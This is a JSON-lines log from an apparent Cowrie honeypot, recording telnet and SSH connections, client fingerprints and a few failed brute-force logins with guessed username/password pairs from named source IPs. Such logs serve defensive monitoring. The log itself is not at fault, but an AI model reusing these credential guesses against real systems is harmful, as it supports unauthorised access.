{"eventid":"cowrie.session.closed","duration":30.80422592163086,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:11.472682Z","src_ip":"108.179.218.230","session":"27ab47a37bda","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":51836,"dst_ip":"10.17.0.5","dst_port":23,"session":"a60644f3de67","protocol":"telnet","message":"New connection: 108.179.218.230:51836 (10.17.0.5:23) [session: a60644f3de67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:11.512378Z"}
{"eventid":"cowrie.session.closed","duration":31.017558097839355,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:11.902316Z","src_ip":"108.179.218.230","session":"0700a7d57d1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":52540,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ba903f37d30","protocol":"telnet","message":"New connection: 108.179.218.230:52540 (10.17.0.5:23) [session: 9ba903f37d30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:12.178895Z"}
{"eventid":"cowrie.session.closed","duration":30.93335747718811,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:12.251373Z","src_ip":"176.74.31.147","session":"aff6822c1990","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10920810699463,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:12.319042Z","src_ip":"212.47.75.195","session":"acbeb04043a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.510068655014038,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:12.384671Z","src_ip":"133.130.75.21","session":"e6e32ee8f168","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.29591202735901,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:13.582871Z","src_ip":"212.47.75.195","session":"b2fc7723c0a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.32690143585205,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:14.043355Z","src_ip":"108.179.218.230","session":"9ef5f808d0ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":53550,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f46127b99ad","protocol":"telnet","message":"New connection: 108.179.218.230:53550 (10.17.0.5:23) [session: 7f46127b99ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:14.291550Z"}
{"eventid":"cowrie.session.closed","duration":31.338438749313354,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:14.848629Z","src_ip":"108.179.218.230","session":"a43a7439e9fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":54030,"dst_ip":"10.17.0.5","dst_port":23,"session":"277d7e68f91d","protocol":"telnet","message":"New connection: 108.179.218.230:54030 (10.17.0.5:23) [session: 277d7e68f91d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:15.242294Z"}
{"eventid":"cowrie.session.closed","duration":31.247061729431152,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:15.598301Z","src_ip":"212.47.75.195","session":"d5b67d845d6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.517025232315063,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:16.510454Z","src_ip":"108.179.218.230","session":"50db76eff115","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":54950,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fe2a11ae48b","protocol":"telnet","message":"New connection: 108.179.218.230:54950 (10.17.0.5:23) [session: 8fe2a11ae48b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:17.011252Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":55044,"dst_ip":"10.17.0.5","dst_port":23,"session":"3bdd1b1c6f5b","protocol":"telnet","message":"New connection: 108.179.218.230:55044 (10.17.0.5:23) [session: 3bdd1b1c6f5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:17.206839Z"}
{"eventid":"cowrie.session.closed","duration":31.394628047943115,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:17.618044Z","src_ip":"40.84.199.249","session":"4ee96e87d509","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.21469020843506,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:17.680318Z","src_ip":"108.179.218.230","session":"a504c8d68f37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.099159717559814,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:18.034034Z","src_ip":"40.84.199.249","session":"a7ab1bcd0e40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.799469470977783,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:18.222954Z","src_ip":"176.74.31.147","session":"f305156bc34f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87169861793518,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:18.343768Z","src_ip":"176.74.31.147","session":"cf0aff01355c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":44010,"dst_ip":"159.203.135.109","dst_port":22,"session":"2543cb46e0d0","protocol":"ssh","message":"New connection: 122.168.114.167:44010 (159.203.135.109:22) [session: 2543cb46e0d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:18.468294Z"}
{"eventid":"cowrie.session.closed","duration":30.48281216621399,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:18.639184Z","src_ip":"108.179.218.230","session":"97ae900ce23a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"133.130.75.21","src_port":42139,"dst_ip":"10.17.0.5","dst_port":23,"session":"77061c5576a5","protocol":"telnet","message":"New connection: 133.130.75.21:42139 (10.17.0.5:23) [session: 77061c5576a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:19.113539Z"}
{"eventid":"cowrie.session.closed","duration":30.9710853099823,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:20.296817Z","src_ip":"108.179.218.230","session":"22bb516bf865","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.19981098175049,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:20.474471Z","src_ip":"108.179.218.230","session":"1f1865c08aec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":56632,"dst_ip":"10.17.0.5","dst_port":23,"session":"0eac53bc8a92","protocol":"telnet","message":"New connection: 108.179.218.230:56632 (10.17.0.5:23) [session: 0eac53bc8a92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:21.061402Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":56692,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3d93e93e996","protocol":"telnet","message":"New connection: 108.179.218.230:56692 (10.17.0.5:23) [session: e3d93e93e996]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:21.162769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:21.335173Z","src_ip":"122.168.114.167","session":"2543cb46e0d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:21.339085Z","src_ip":"122.168.114.167","session":"2543cb46e0d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.269726276397705,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:21.896341Z","src_ip":"108.179.218.230","session":"beee426906e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":57648,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ecc2bd6087e","protocol":"telnet","message":"New connection: 108.179.218.230:57648 (10.17.0.5:23) [session: 9ecc2bd6087e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:23.239037Z"}
{"eventid":"cowrie.session.closed","duration":30.314047813415527,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:23.551919Z","src_ip":"108.179.218.230","session":"fded5958af90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.559234380722046,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:24.862670Z","src_ip":"108.179.218.230","session":"a0541bf16e90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.791133165359497,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:24.919736Z","src_ip":"108.179.218.230","session":"1acb3a1e7384","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":58448,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d7ed0044342","protocol":"telnet","message":"New connection: 108.179.218.230:58448 (10.17.0.5:23) [session: 8d7ed0044342]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:24.946665Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.105.210.72","src_port":46250,"dst_ip":"159.203.135.109","dst_port":22,"session":"cbac37cdec93","protocol":"ssh","message":"New connection: 109.105.210.72:46250 (159.203.135.109:22) [session: cbac37cdec93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:25.023839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:25.028768Z","src_ip":"109.105.210.72","session":"cbac37cdec93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"864cef7e4d8ad71d4fb1aadfcf0a3189","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 864cef7e4d8ad71d4fb1aadfcf0a3189","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:25.074013Z","src_ip":"109.105.210.72","session":"cbac37cdec93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54706,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f239279f2e3","protocol":"telnet","message":"New connection: 212.47.75.195:54706 (159.203.135.109:23) [session: 9f239279f2e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:25.507198Z"}
{"eventid":"cowrie.session.closed","duration":30.690394401550293,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:26.167536Z","src_ip":"133.130.75.21","session":"2cdd54d6ff73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54708,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f23d35b035e","protocol":"telnet","message":"New connection: 212.47.75.195:54708 (159.203.135.109:23) [session: 7f23d35b035e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:26.441335Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54710,"dst_ip":"159.203.135.109","dst_port":23,"session":"2aed71c336f5","protocol":"telnet","message":"New connection: 212.47.75.195:54710 (159.203.135.109:23) [session: 2aed71c336f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:27.390554Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":59646,"dst_ip":"10.17.0.5","dst_port":23,"session":"f54a148768fe","protocol":"telnet","message":"New connection: 108.179.218.230:59646 (10.17.0.5:23) [session: f54a148768fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:27.472923Z"}
{"eventid":"cowrie.session.closed","duration":30.521099090576172,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:27.740001Z","src_ip":"108.179.218.230","session":"efbf8397c746","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"133.130.75.21","src_port":43364,"dst_ip":"10.17.0.5","dst_port":23,"session":"2cc71eaea568","protocol":"telnet","message":"New connection: 133.130.75.21:43364 (10.17.0.5:23) [session: 2cc71eaea568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:28.335987Z"}
{"eventid":"cowrie.session.closed","duration":31.00426483154297,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:28.977406Z","src_ip":"108.179.218.230","session":"164f368445c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.023494958877563,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:29.129656Z","src_ip":"108.179.218.230","session":"2c0bd87ee55c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.638339042663574,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:29.306822Z","src_ip":"162.241.40.195","session":"af635b74fde4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.80.18.158","src_port":41188,"dst_ip":"10.17.0.5","dst_port":22,"session":"28039e27a8a6","protocol":"ssh","message":"New connection: 186.80.18.158:41188 (10.17.0.5:22) [session: 28039e27a8a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:29.416185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:29.421395Z","src_ip":"186.80.18.158","session":"28039e27a8a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:29.502833Z","src_ip":"186.80.18.158","session":"28039e27a8a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.896652936935425,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:29.737049Z","src_ip":"108.179.218.230","session":"d4f4db1e197c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Qwer!234","message":"login attempt [ubuntu/Qwer!234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:29.839397Z","src_ip":"186.80.18.158","session":"28039e27a8a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.08159875869751,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:30.103611Z","src_ip":"108.179.218.230","session":"9f4211258e4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:30.922029Z","src_ip":"186.80.18.158","session":"28039e27a8a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1","message":"login attempt [postgres/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:31.703902Z","src_ip":"122.168.114.167","session":"2543cb46e0d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39462,"dst_ip":"159.203.135.109","dst_port":22,"session":"b45ae839bb36","protocol":"ssh","message":"New connection: 159.203.92.129:39462 (159.203.135.109:22) [session: b45ae839bb36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:31.971234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:31.975866Z","src_ip":"159.203.92.129","session":"b45ae839bb36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:31.980385Z","src_ip":"159.203.92.129","session":"b45ae839bb36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arezaei","password":"1234","message":"login attempt [arezaei/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:31.989748Z","src_ip":"159.203.92.129","session":"b45ae839bb36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.404890060424805,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:32.195564Z","src_ip":"108.179.218.230","session":"c0b2ea4aa99d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.525336265563965,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:32.610602Z","src_ip":"108.179.218.230","session":"8bd34b8c93e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:01:32.996698Z","src_ip":"159.203.92.129","session":"b45ae839bb36","protocol":"ssh"}
